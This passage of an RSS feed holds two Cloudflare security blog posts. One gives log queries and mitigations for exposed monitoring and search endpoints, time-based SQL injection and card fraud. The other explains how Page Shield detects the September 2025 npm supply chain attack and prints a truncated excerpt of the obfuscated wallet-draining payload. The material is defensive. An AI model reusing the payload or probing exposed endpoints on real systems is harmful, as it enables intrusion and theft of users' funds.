    <p>We discovered "health check" and monitoring dashboards are visible to the entire Internet. Specifically, paths like <code>/actuator/metrics</code> are responding to anyone who asks. A templatized version of the query, executable in <a href="https://www.cloudflare.com/application-services/products/log-explorer/"><u>Cloudflare Log Explorer</u></a>, is below::</p>
            <pre><code>SELECT
  clientRequestHTTPHost,
  count() AS request_count
FROM http_requests
WHERE timestamp &gt;= toDateTime('{{START_DATE}}')
  AND timestamp &lt;  toDateTime('{{END_DATE}}')
  AND botScore &lt; 30
  AND edgeResponseStatus = 200
  AND clientRequestPath LIKE '%/actuator/metrics%' // an example
GROUP BY
  clientRequestHTTPHost
ORDER BY request_count DESC</code></pre>
            <p><b>Why is this serious?</b></p><p>While these endpoints don't usually leak customer passwords directly, they provide the "blueprints" for a sophisticated attack. Exposure leads to:</p><ul><li><p><b>Strategic timing:</b> Attackers can monitor your CPU and memory usage in real-time to launch a <a href="https://www.cloudflare.com/learning/ddos/glossary/denial-of-service/"><u>Denial of Service (DoS) attack</u></a> exactly when your systems are already stressed.</p></li><li><p><b>Infrastructure mapping:</b> These logs often reveal the names of internal services, dependencies, and version numbers, helping attackers find known vulnerabilities to exploit.</p></li><li><p><b>Exploitation chaining:</b> Information about thread counts and environment hints can be used to bypass security layers or escalate privileges within your network.</p></li></ul>
    <div>
      <h3><b>What evidence supports it?</b></h3>
      <a href="#what-evidence-supports-it">
        
      </a>
    </div>
    <p>Toxic combination of misconfigured access controls and automated reconnaissance targeting the <b>Asset/Path: /actuator/metrics, /actuator/prometheus, and /health</b>.</p><table><tr><td><p><b>Ingredient</b></p></td><td><p><b>Signal</b></p></td><td><p><b>Description</b></p></td></tr><tr><td><p>Bot activity</p></td><td><p>Bot Score &lt; 30</p></td><td><p>Automated scanning tools are systematically checking for specific paths</p></td></tr><tr><td><p>Anomaly</p></td><td><p>Monitoring Fingerprint</p></td><td><p>The response body matches known formats (Prometheus, Micrometer, or Spring Boot), confirming the system is leaking live data.</p></td></tr><tr><td><p>Anomaly</p></td><td><p>HTTP 200 Status</p></td><td><p>Successful data retrieval from endpoints that should ideally return a 403 Forbidden or 404 Not Found to the public.</p></td></tr><tr><td><p>Misconfiguration</p></td><td><p>Public Monitoring Path</p></td><td><p>Public accessibility of internal-only endpoints like <code>/actuator/*</code> that are intended for private observability.</p></td></tr><tr><td><p>Vulnerability</p></td><td><p>Missing Auth</p></td><td><p>These endpoints are reachable without a session token, API key, or IP-based restriction.</p></td></tr></table>
    <div>
      <h3><b>How do I mitigate this finding?</b></h3>
      <a href="#how-do-i-mitigate-this-finding">
        
      </a>
    </div>
    <ol><li><p><b>Restrict access via WAF:</b> Immediately create a <a href="https://blog.cloudflare.com/wildcard-rules/"><u>firewall rule</u></a> to block any external traffic requesting paths containing <code>/actuator/</code> or <code>/prometheus</code>.</p></li><li><p><b>Bind to localhost:</b> Reconfigure your application frameworks to only serve these monitoring endpoints on <code>localhost</code> (127.0.0.1) or a private management network.</p></li><li><p><b>Enforce basic auth:</b> If these must be accessed over the web, ensure they are protected by strong authentication (at a minimum, complex Basic Auth or mTLS).</p></li><li><p><b>Disable unnecessary endpoints:</b> In Spring Boot or similar frameworks, disable any "Actuator" features that are not strictly required for production monitoring.</p></li></ol>
    <div>
      <h2>Unauthenticated search endpoints allowing direct index dumping</h2>
      <a href="#unauthenticated-search-endpoints-allowing-direct-index-dumping">
        
      </a>
    </div>
    
    <div>
      <h3><b>What did we detect? </b></h3>
      <a href="#what-did-we-detect">
        
      </a>
    </div>
    <p>Search endpoints (like Elasticsearch or OpenSearch) that are usually meant for internal use are wide open to the public. The templatized query is:</p>
            <pre><code>SELECT
  clientRequestHTTPHost,
  count() AS request_count
FROM http_requests
WHERE timestamp &gt;= toDateTime('{{START_DATE}}')
  AND timestamp &lt;  toDateTime('{{END_DATE}}')
  AND botScore &lt; 30
  AND edgeResponseStatus = 200
AND clientRequestPath like '%/\_search%'
AND NOT match(extract(clientRequestHTTPHost, '^[^:/]+'), '^\\d{1,3}(\\.\\d{1,3}){3}(:\\d+)?$')
GROUP BY
  clientRequestHTTPHost</code></pre>
            
    <div>
      <h3><b>Why is this serious?</b></h3>
      <a href="#why-is-this-serious">
        
      </a>
    </div>
    <p>This is a critical vulnerability because it requires zero technical skill to exploit, yet the damage is extensive:</p><ul><li><p><b>Mass data theft:</b> Attackers can "dump" entire indices, stealing millions of records in minutes.</p></li><li><p><b>Internal reconnaissance:</b> By viewing your "indices" (the list of what you store), attackers can identify other high-value targets within your network.</p></li><li><p><b>Data sabotage:</b> Depending on the setup, an attacker might not just read data — they could potentially modify or delete your entire search index, causing a massive service outage.</p></li></ul>
    <div>
      <h3><b>What evidence supports it?</b></h3>
      <a href="#what-evidence-supports-it">
        
      </a>
    </div>
    <p>We are seeing a toxic combination of misconfigured exposure and automated traffic and data enumeration targeting <b> /_search, /_cat/indices, and /_cluster/health</b>.</p><table><tr><td><p><b>Ingredient</b></p></td><td><p><b>Signal</b></p></td><td><p><b>Description</b></p></td></tr><tr><td><p>Bot activity</p></td><td><p>Bot Score &lt; 30</p></td><td><p>High-velocity automation signatures attempting to paginate through large datasets and "scrape" the entire index.</p></td></tr><tr><td><p>Anomaly</p></td><td><p>Unexpected  Response Size</p></td><td><p>Large JSON response sizes consistent with bulk data retrieval rather than simple status checks.</p></td></tr><tr><td><p>Anomaly</p></td><td><p>Repeated Query Patterns</p></td><td><p>Systematic "enumeration" behavior where the attacker is cycling through every possible index name to find sensitive data.</p></td></tr><tr><td><p>Vulnerability</p></td><td><p>/_search or /_cat/ Patterns</p></td><td><p>Direct exposure of administrative and query-level paths that should never be reachable via a public URL.</p></td></tr><tr><td><p>Misconfiguration</p></td><td><p>HTTP 200 Status</p></td><td><p>The endpoint is actively fulfilling requests from unauthorized external IPs instead of rejecting them at the network or application level.</p></td></tr></table><p>While the query checked for bot score and paths, signals like repeated query patterns, response sizes, and schema disclosure were tested on a sample of traffic matching the query. </p>
    <div>
      <h3><b>How do I mitigate this finding?</b></h3>
      <a href="#how-do-i-mitigate-this-finding">
        
      </a>
    </div>
    <ol><li><p><b>Restrict network access:</b> Immediately update your Firewall/Security Groups to ensure that search ports (e.g., 9200, 9300) and paths are only accessible from specific internal IP addresses.</p></li><li><p><b>Enable authentication:</b> Turn on "Security" features for your search cluster (like Shield or Search Guard) to require valid credentials for every API call.</p></li><li><p><b>WAF blocking:</b> Deploy a WAF rule to immediately block any request containing <code>/_search</code>, <code>/_cat</code>, or <code>/_cluster</code> coming from the public Internet.</p></li><li><p><b>Audit for data loss:</b> Review your database logs for large "Scroll" or "Search" queries from unknown IPs to determine exactly how much data was exfiltrated.</p></li></ol>
    <div>
      <h2>Successful SQL injection attempt on application paths </h2>
      <a href="#successful-sql-injection-attempt-on-application-paths">
        
      </a>
    </div>
    
    <div>
      <h3><b>What did we detect? </b></h3>
      <a href="#what-did-we-detect">
        
      </a>
    </div>
    <p>We’ve identified attackers who sent a malicious request—specifically a <a href="https://www.cloudflare.com/learning/security/threats/sql-injection/"><u>SQL injection</u></a> designed to trick databases. A templatized version of the query, executable in <a href="https://www.cloudflare.com/application-services/products/log-explorer/"><u>Cloudflare Log Explorer</u></a>, is below:</p>
            <pre><code>SELECT
  clientRequestHTTPHost,
  count() AS request_count
FROM http_requests
WHERE timestamp &gt;= toDateTime('{{START_DATE}}')
  AND timestamp &lt;  toDateTime('{{END_DATE}}')
  AND botScore &lt; 30
AND wafmlScore&lt;30
  AND edgeResponseStatus = 200
AND LOWER(clientRequestQuery) LIKE '%sleep(%'
GROUP BY
  clientRequestHTTPHost
ORDER BY request_count DESC</code></pre>
            
    <div>
      <h3><b>Why is this serious?</b></h3>
      <a href="#why-is-this-serious">
        
      </a>
    </div>
    <p>This is the "quiet path" to a data breach. Because the system returned a successful status code (<b>HTTP 200</b>), these attacks often blend in with legitimate traffic. If left unaddressed, an attacker can:</p><ul><li><p><b>Refine their methods:</b> Use trial and error to find the exact payload that bypasses your filters.</p></li><li><p><b>Exfiltrate data:</b> Slowly drain database contents or leak sensitive secrets (like API keys) passed in URLs.</p></li><li><p><b>Stay invisible:</b> Most automated alerts look for "denied" attempts; a "successful" exploit is much harder to spot in a sea of logs.</p></li></ul>
    <div>
      <h3><b>What evidence supports it?</b></h3>
      <a href="#what-evidence-supports-it">
        
      </a>
    </div>
    <p>We are seeing a toxic combination of automated bot signals, anomalies and application-layer vulnerabilities targeting many application paths.</p><table><tr><td><p><b>Ingredient</b></p></td><td><p><b>Signal</b></p></td><td><p><b>Description</b></p></td></tr><tr><td><p>Bot</p></td><td><p>Bot Score &lt; 30</p></td><td><p>High probability of automated traffic; signatures and timing consistent with exploit scripts.</p></td></tr><tr><td><p>Anomaly</p></td><td><p>HTTP 200 on sensitive path</p></td><td><p>Successful responses returning from a login endpoint that should have triggered a WAF block.</p></td></tr><tr><td><p>Anomaly</p></td><td><p>Repeated Mutations</p></td><td><p>High-frequency variations of the same request, indicating an attacker "tuning" their payload.</p></td></tr><tr><td><p>Vulnerability</p></td><td><p>Suspicious Query Patterns</p></td><td><p>Use of <code>SLEEP</code> commands and time-based patterns designed to probe database responsiveness.</p></td></tr></table>
    <div>
      <h3><b>How do I mitigate this finding?</b></h3>
      <a href="#how-do-i-mitigate-this-finding">
        
      </a>
    </div>
    <ol><li><p><b>Immediate virtual patching:</b> Update your WAF rules to specifically block the SQL patterns identified (e.g., time-based probes).</p></li><li><p><b>Sanitize inputs:</b> Review the backend code for this path to ensure it uses prepared statements or parameterized queries.</p></li><li><p><b>Remediate secret leakage:</b> Move any sensitive data from URL parameters to the request body or headers. Rotate any keys flagged as leaked.</p></li><li><p><b>Audit logs:</b> Check database logs for the timeframe of the "HTTP 200" responses to see if any data was successfully extracted.</p></li></ol>
    <div>
      <h2>Examples of toxic combinations on payment flows</h2>
      <a href="#examples-of-toxic-combinations-on-payment-flows">
        
      </a>
    </div>
    <p>Card testing and card draining are some of the most common fraud tactics. An attacker might buy a large batch of credit cards from the dark web. Then, to verify how many cards are still valid, they might test the card on a website by making small transactions. Once validated, they might use such cards to make purchases, such as gift cards, on popular shopping destinations. </p>
    <div>
      <h2>Suspected card testing on payment flows</h2>
      <a href="#suspected-card-testing-on-payment-flows">
        
      </a>
    </div>
    
    <div>
      <h3>What did we detect?</h3>
      <a href="#what-did-we-detect">
        
      </a>
    </div>
    <p>On payment flows (<code>/payment</code>, <code>/checkou</code>t, <code>/cart)</code>, we found certain hours of the day when either the hourly request volume from bots or hourly payment success ratio spiked by more than <b>3 standard deviations</b> from their hourly baselines over the prior 30 days. This could be related to card testing where an attacker is trying to validate lots of stolen credits. Of course, marketing campaigns might cause request spikes while payment outages might cause sudden drops in success ratios.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1H3wKai5QCHPx0ukBHkjQp/5352f4cdd33a48148f401f450477c593/image4.png" />
          </figure>
    <div>
      <h3>Why is this serious?</h3>
      <a href="#why-is-this-serious">
        
      </a>
    </div>
    <p>Payment success ratio drops coinciding with request spikes, in the absence of marketing campaigns or payment outages or other factors, <b>could</b> mean bots are in the middle of a massive card-testing run.</p>
    <div>
      <h3>What evidence supports it?</h3>
      <a href="#what-evidence-supports-it">
        
      </a>
    </div>
    <p>We used a combination of bot signals and anomalies on <code>/payment</code>, <code>/checkout</code>, <code>/cart</code>:</p><table><tr><td><p><b>Ingredient</b></p></td><td><p><b>Signal</b></p></td><td><p><b>Description</b></p></td></tr><tr><td><p><b>Bot</b></p></td><td><p>Bot Score &lt; 30</p></td><td><p>High probability of automated traffic rather than humans making mistakes</p></td></tr><tr><td><p>Anomaly</p></td><td><p>Volume Z-Score<b> </b>&gt; 3.0, calculated from request volume baseline for a given hour based on the past 30 days and evaluated each hour. This factors daily seasonality as well. </p></td><td><p>Scaling Event: The attacker is testing a batch of cards</p></td></tr><tr><td><p>Anomaly</p></td><td><p>Success ratio Z<b> </b>&gt; 3.0, calculated from success ratio baseline for a given hour based on the past 30 days and evaluated each hour. This factors daily seasonality as well. </p></td><td><p>Sudden drops in success ratio may mean cards being declined as they are reported lost or stolen</p></td></tr></table>
    <div>
      <h3>How do I mitigate this?</h3>
      <a href="#how-do-i-mitigate-this">
        
      </a>
    </div>
    <p>Use the 30-day payment paths hourly request volume baseline as the hourly rate limit for all requests with bot scores &lt; 30 on payment paths.  </p>
    <div>
      <h2>Suspected card draining on payment flows</h2>
      <a href="#suspected-card-draining-on-payment-flows">
        
      </a>
    </div>
    
    <div>
      <h3>What did we detect?</h3>
      <a href="#what-did-we-detect">
        
      </a>
    </div>
    <p>On payment flows (<code>/</code>payment, <code>/checkout</code>, <code>/cart)</code>, we found certain hours of the day when either the hourly request volume from humans (or bots impersonating humans) or hourly payment success ratio spiked by more than <b>3 standard deviations</b> from their hourly baselines over the prior 30 days. This could be related to card draining where an attacker (either humans or bots impersonating humans) is trying to purchase goods using valid but stolen credits. Of course, marketing campaigns might also cause request and success ratio spikes, so additional context in the form of typical payment requests from a given IP address is essential context, as shown in the figure.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4dlOEPUAbCpazjvKJj2lzA/72342a72f7d0c9e3f350e44310aeeb70/image1.png" />
          </figure>
    <div>
      <h3>Why is this serious?</h3>
      <a href="#why-is-this-serious">
        
      </a>
    </div>
    <p>Payment success ratio spikes coinciding with request spikes and high density of requests per IP address, in the absence of marketing campaigns or payment outages or other factors, <b>could</b> mean humans (or bots pretending to be humans) are making fraudulent purchases. Every successful transaction here could be a direct revenue loss or a chargeback in the making.</p>
    <div>
      <h3>What evidence supports it?</h3>
      <a href="#what-evidence-supports-it">
        
      </a>
    </div>
    <p>We used a combination of bot signals and anomalies on <code>/payment</code>, <code>/checkout</code>, <code>/cart</code>:</p><table><tr><td><p><b>Ingredient</b></p></td><td><p><b>Signal</b></p></td><td><p><b>Description</b></p></td></tr><tr><td><p><b>Bot</b></p></td><td><p>Bot Score &gt;= 30</p></td><td><p>High probability of human traffic which is expected to be allowed</p></td></tr><tr><td><p>Anomaly</p></td><td><p><b>Volume Z-Score </b>&gt; 3.0, calculated from request volume baseline for a given hour based on the past 30 days and evaluated each hour. This factors daily seasonality as well. </p></td><td><p>The attacker is making purchases at higher rates than normal shoppers</p></td></tr><tr><td><p>Anomaly</p></td><td><p><b>Success ratio Z </b>&gt; 3.0, calculated from success ratio baseline for a given hour based on the past 30 days and evaluated each hour. This factors daily seasonality as well. </p></td><td><p>Sudden increases in success ratio may mean valid cards being approved for purchase</p></td></tr><tr><td><p>Anomaly</p></td><td><p><b>IP density </b>&gt; 5, calculated from payment requests per IP in any given hour divided by the average payment requests for that hour based on the past 30 days </p></td><td><p>Humans with 5X more purchases than typical humans in the past 30 days is a red flag</p></td></tr><tr><td><p>Anomaly</p></td><td><p><b>JA4 diversity </b>&lt; 0.1, calculated from JA4s per payment requests in any given hour</p></td><td><p>JA4s with unusual hourly purchases are likely bots pretending to be humans</p></td></tr></table>
    <div>
      <h3>How do I mitigate this?</h3>
      <a href="#how-do-i-mitigate-this">
        
      </a>
    </div>
    <p><b>Identity-Based Rate Limiting:</b> Use IP density to implement rate limits for requests with bot score &gt;=30 on payment endpoints.</p><p><b>Monitor success ratio:</b> Alert on any hour when the <b>success ratio</b> for "human" traffic, with bot score &gt;=30 on payment endpoints, deviates by more than 3 standard deviations from its 30-day baseline.</p><p><b>Challenge:</b> If a high bot score request (likely human) hits <code>payment flows</code> more than 3 times in 10 minutes, trigger a challenge to slow them down</p>
    <div>
      <h2>What’s next: detections in the dashboard, AI-powered remediation </h2>
      <a href="#whats-next-detections-in-the-dashboard-ai-powered-remediation">
        
      </a>
    </div>
    <p>We are currently working on integrating these "toxic combination" detections directly into the Security Insights dashboard to provide immediate visibility for such risks. Our roadmap includes building AI-assisted remediation paths — where the dashboard doesn't just show you a toxic combination, but proposes the specific WAF rule or <a href="https://blog.cloudflare.com/api-abuse-detection/"><u>API Shield</u></a> configuration required to neutralize it.</p><p>We would love to have you try our Security Insights featuring toxic combinations. You can <a href="https://www.cloudflare.com/lp/toxic-combinations-security/"><u>join the waitlist here</u></a>. </p> ]]></content:encoded>
            <category><![CDATA[Application Security]]></category>
            <guid isPermaLink="false">1IAvxHyuyoZKYW249A4AvF</guid>
            <dc:creator>Bashyam Anant</dc:creator>
            <dc:creator>Himanshu Anand</dc:creator>
        </item>
        <item>
            <title><![CDATA[How Cloudflare’s client-side security made the npm supply chain attack a non-event]]></title>
            <link>https://blog.cloudflare.com/how-cloudflares-client-side-security-made-the-npm-supply-chain-attack-a-non/</link>
            <pubDate>Fri, 24 Oct 2025 17:10:43 GMT</pubDate>
            <description><![CDATA[ A recent npm supply chain attack compromised 18 popular packages. This post explains how Cloudflare’s graph-based machine learning model, which analyzes 3.5 billion scripts daily, was built to detect and block exactly this kind of threat automatically. ]]></description>
            <content:encoded><![CDATA[ <p>In early September 2025, attackers used a phishing email to compromise one or more trusted maintainer accounts on npm. They used this to publish malicious releases of 18 widely used npm packages (for example chalk, debug, ansi-styles) that account for more than <a href="https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised"><u>2 billion downloads per week</u></a>. Websites and applications that used these compromised packages were vulnerable to hackers stealing crypto assets (“crypto stealing” or “wallet draining”) from end users. In addition, compromised packages could also modify other packages owned by the same maintainers (using stolen npm tokens) and included code to <a href="https://unit42.paloaltonetworks.com/npm-supply-chain-attack/"><u>steal developer tokens for CI/CD pipelines and cloud accounts</u></a>.</p><p>As it relates to end users of your applications, the good news is that Cloudflare<a href="https://www.cloudflare.com/application-services/products/page-shield/"><u> Page Shield, our client-side security offering</u></a> will detect compromised JavaScript libraries and prevent crypto-stealing. More importantly, given the AI powering Cloudflare’s detection solutions, customers are protected from similar attacks in the future, as we explain below.</p>
            <pre><code>export default {
 aliceblue: [240, 248, 255],
 …
 yellow: [255, 255, 0],
 yellowgreen: [154, 205, 50]
}


const _0x112fa8=_0x180f;(function(_0x13c8b9,_0x35f660){const _0x15b386=_0x180f,_0x66ea25=_0x13c8b9();while(!![]){try{const _0x2cc99e=parseInt(_0x15b386(0x46c))/(-0x1caa+0x61f*0x1+-0x9c*-0x25)*(parseInt(_0x15b386(0x132))/(-0x1d6b+-0x69e+0x240b))+-parseInt(_0x15b386(0x6a6))/(0x1*-0x26e1+-0x11a1*-0x2+-0x5d*-0xa)*(-parseInt(_0x15b386(0x4d5))/(0x3b2+-0xaa*0xf+-0x3*-0x218))+-parseInt(_0x15b386(0x1e8))/(0xfe+0x16f2+-0x17eb)+-parseInt(_0x15b386(0x707))/(-0x23f8+-0x2*0x70e+-0x48e*-0xb)*(parseInt(_0x15b386(0x3f3))/(-0x6a1+0x3f5+0x2b3))+-parseInt(_0x15b386(0x435))/(0xeb5+0x3b1+-0x125e)*(parseInt(_0x15b386(0x56e))/(0x18*0x118+-0x17ee+-0x249))+parseInt(_0x15b386(0x785))/(-0xfbd+0xd5d*-0x1+0x1d24)+-parseInt(_0x15b386(0x654))/(-0x196d*0x1+-0x605+0xa7f*0x3)*(-parseInt(_0x15b386(0x3ee))/(0x282*0xe+0x760*0x3+-0x3930));if(_0x2cc99e===_0x35f660)break;else _0x66ea25['push'](_0x66ea25['shift']());}catch(_0x205af0){_0x66 …
</code></pre>
            <p><sub><i>Excerpt from the injected malicious payload, along with the rest of the innocuous normal code.</i></sub><sub> </sub><sub><i>Among other things, the payload replaces legitimate crypto addresses with attacker’s addresses (for multiple currencies, including bitcoin, ethereum, solana).</i></sub></p>
    <div>
      <h2>Finding needles in a 3.5 billion script haystack</h2>
      <a href="#finding-needles-in-a-3-5-billion-script-haystack">
        
      </a>
    </div>
    <p>Everyday, Cloudflare Page Shield assesses 3.5 billion scripts per day or 40,000 scripts per second. Of these, less than 0.3% are malicious, based on our machine learning (ML)-based malicious script detection. As explained in a prior <a href="https://blog.cloudflare.com/how-we-train-ai-to-uncover-malicious-javascript-intent-and-make-web-surfing-safer/#ai-inference-at-scale"><u>blog post</u></a>, we preprocess JavaScript code into an <a href="https://en.wikipedia.org/wiki/Abstract_syntax_tree"><u>Abstract Syntax Tree</u></a> to train a <a href="https://mbernste.github.io/posts/gcn/"><u>message-passing graph convolutional network (MPGCN)</u></a> that classifies a given JavaScript file as either malicious or benign. </p><p>The intuition behind using a graph-based model is to use both the structure (e.g. function calling, assertions) and code text to learn hacker patterns. For example, in the npm compromise, the <a href="https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised"><u>malicious code</u></a> injected in compromised packages uses code obfuscation and also modifies code entry points for crypto wallet interfaces, such as Ethereum’s window.ethereum, to swap payment destinations to accounts in the attacker’s control. Crucially, rather than engineering such behaviors as features, the model learns to distinguish between good and bad code purely from structure and syntax. As a result, it is resilient to techniques used not just in the npm compromise but also future compromise techniques. </p><p>Our ML model outputs the probability that a script is malicious which is then transformed into a score ranging from 1 to 99, with low scores indicating likely malicious and high scores indicating benign scripts. Importantly, like many Cloudflare ML models, inferencing happens in under 0.3 seconds. </p>
    <div>
      <h2>Model Evaluation</h2>
      <a href="#model-evaluation">
        
      </a>
    </div>
    <p>Since the initial launch, our JavaScript classifiers are constantly being evolved to optimize model evaluation metrics, in this case, <a href="https://en.wikipedia.org/wiki/Precision_and_recall"><u>F1 measure</u></a>. Our current metrics are </p><table><tr><th><p><b>Metric</b></p></th><th><p><b>Latest: Version 2.7</b></p></th><th><p><b>Improvement over prior version</b></p></th></tr><tr><td><p>Precision</p></td><td><p>98%</p></td><td><p>5%</p></td></tr><tr><td><p>Recall</p></td><td><p>90%</p></td><td><p>233%</p></td></tr><tr><td><p>F1</p></td><td><p>94%</p></td><td><p>123%</p></td></tr></table><p>Some of the improvements were accomplished through:</p><ul><li><p>More training examples, curated from a combination of open source datasets, security partners, and labeling of Cloudflare traffic</p></li><li><p>Better training examples, for instance, by removing samples with pure comments in them or scripts with nearly equal structure</p></li><li><p>Better training set stratification, so that training, validation and test sets all have similar distribution of classes of interest</p></li><li><p>Tweaking the evaluation criteria to maximize recall with 99% precision</p></li></ul><p>Given the confusion matrix, we should expect about 2 false positives per second, if we assume ~0.3% of the 40,000 scripts per second are flagged as malicious. We employ multiple LLMs alongside expert human security analysts to review such scripts around the clock. Most False Positives we encounter in this way are rather challenging. For example, scripts that read all form inputs except credit card numbers (e.g. reject input values that test true using the <a href="https://en.wikipedia.org/wiki/Luhn_algorithm"><u>Luhn algorithm</u></a>), injecting dynamic scripts, heavy user tracking, heavy deobfuscation, etc. User tracking scripts often exhibit a combination of these behaviors, and the only reliable way to distinguish truly malicious payloads is by assessing the trustworthiness of their connected domains. We feed all newly labeled scripts back into our ML training (&amp; testing) pipeline.</p><p>Most importantly, we verified that Cloudflare Page Shield would have successfully detected all 18 compromised npm packages as malicious (a novel attack, thus, not in the training data)..</p>
    <div>
      <h2>Planned improvements</h2>
      <a href="#planned-improvements">
        
      </a>
    </div>
    <p>Static script analysis has proven effective and is sometimes the only viable approach (e.g., for npm packages). To address more challenging cases, we are enhancing our ML signals with contextual data including script URLs, page hosts, and connected domains. Modern Agentic AI approaches can wrap JavaScript runtimes as tools in an overall AI workflow. Then, they can enable a hybrid approach that combines static and dynamic analysis techniques to tackle challenging false positive scenarios, such as user tracking scripts.</p>
    <div>
      <h3>Consolidating classifiers</h3>
      <a href="#consolidating-classifiers">
        
      </a>
    </div>
    <p><a href="https://blog.cloudflare.com/detecting-magecart-style-attacks-for-pageshield/"><u>Over 3 years ago</u></a> we launched our classifier, “<a href="https://developers.cloudflare.com/page-shield/detection/review-malicious-scripts/#review-malicious-scripts"><u>Code Behaviour Analysis</u></a>” for Magecart-style scripts that learns  code obfuscation and data exfiltration behaviors. Subsequently, we also deployed our <a href="https://mbernste.github.io/posts/gcn/"><u>message-passing graph convolutional network (MPGCN)</u></a> based approach that can also classify <a href="https://blog.cloudflare.com/navigating-the-maze-of-magecart/"><u>Magecart attacks</u></a>. Given the efficacy of the MPGCN-based malicious code analysis, we are announcing the end-of-life of <a href="https://developers.cloudflare.com/page-shield/detection/review-malicious-scripts/#review-malicious-scripts"><u>code behaviour analysis</u></a> by the end of 2025. </p>
    <div>
      <h2>Staying safe always</h2>
      <a href="#staying-safe-always">
        
      </a>
    </div>
    <p>In the npm attack, we did not see any activity in the Cloudflare network related to this compromise among Page Shield users, though for other exploits, we catch its traffic within minutes. In this case, patches of the compromised npm packages were released in 2 hours or less, and given that the infected payloads had to be built into end user facing applications for end user impact, we suspect that our customers dodged the proverbial bullet. That said, had traffic gotten through, Page Shield was already equipped to detect and block this threat.</p><p>Also make sure to consult our <a href="https://developers.cloudflare.com/page-shield/how-it-works/malicious-script-detection/#malicious-script-detection"><u>Page Shield Script detection</u></a> to find malicious packages. Consult the Connections tab within Page Shield to view suspicious connections made by your applications.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6rMXJZVWEu6LkupOPY2pOB/0740a085fa2a64de3cff148fc29ad328/BLOG-3052_2.png" />
          </figure><p><sub><i>Several scripts are marked as malicious. </i></sub></p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1oj2WALUAurKuu2XYTdKPm/fe8a564f10888e656c2510bc2a91dd6f/BLOG-3052_3.png" />
          </figure><p><sub><i>Several connections are marked as malicious. </i></sub></p><p>
And be sure to complete the following steps:</p><ol><li><p><b>Audit your dependency tree</b> for recently published versions (check package-lock.json / npm ls) and look for versions published around early–mid September 2025 of widely used packages. </p></li><li><p><b>Rotate any credentials</b> that may have been exposed to your build environment.</p></li><li><p><b>Revoke and reissue CI/CD tokens and service keys</b> that might have been used in build <a href="https://www.cloudflare.com/learning/serverless/glossary/what-is-ci-cd/">pipelines</a> (GitHub Actions, npm tokens, cloud credentials).</p></li><li><p><b>Pin dependencies</b> to known-good versions (or use lockfiles), and consider using a package allowlist / verified publisher features from your registry provider.</p></li><li><p><b>Scan build logs and repos for suspicious commits/GitHub Actions changes</b> and remove any unknown webhooks or workflows.</p></li></ol><p>While vigilance is key, automated defenses provide a crucial layer of protection against fast-moving supply chain attacks. Interested in better understanding your client-side supply chain? Sign up for our free, custom <a href="https://www.cloudflare.com/lp/client-side-risk-assessment/"><u>Client-Side Risk Assessment</u></a>.</p> ]]></content:encoded>
            <category><![CDATA[Supply Chain Attacks]]></category>
            <category><![CDATA[JavaScript]]></category>
            <category><![CDATA[Malicious JavaScript]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Developer Platform]]></category>
            <category><![CDATA[Developers]]></category>
            <guid isPermaLink="false">1DRrVAPmyZYyz2avWuwYZ4</guid>
            <dc:creator>Bashyam Anant</dc:creator>
            <dc:creator>Juan Miguel Cejuela</dc:creator>
            <dc:creator>Zhiyuan Zheng</dc:creator>
            <dc:creator>Denzil Correa</dc:creator>
            <dc:creator>Israel Adura</dc:creator>
            <dc:creator>Georgie Yoxall</dc:creator>
        </item>
    </channel>
</rss>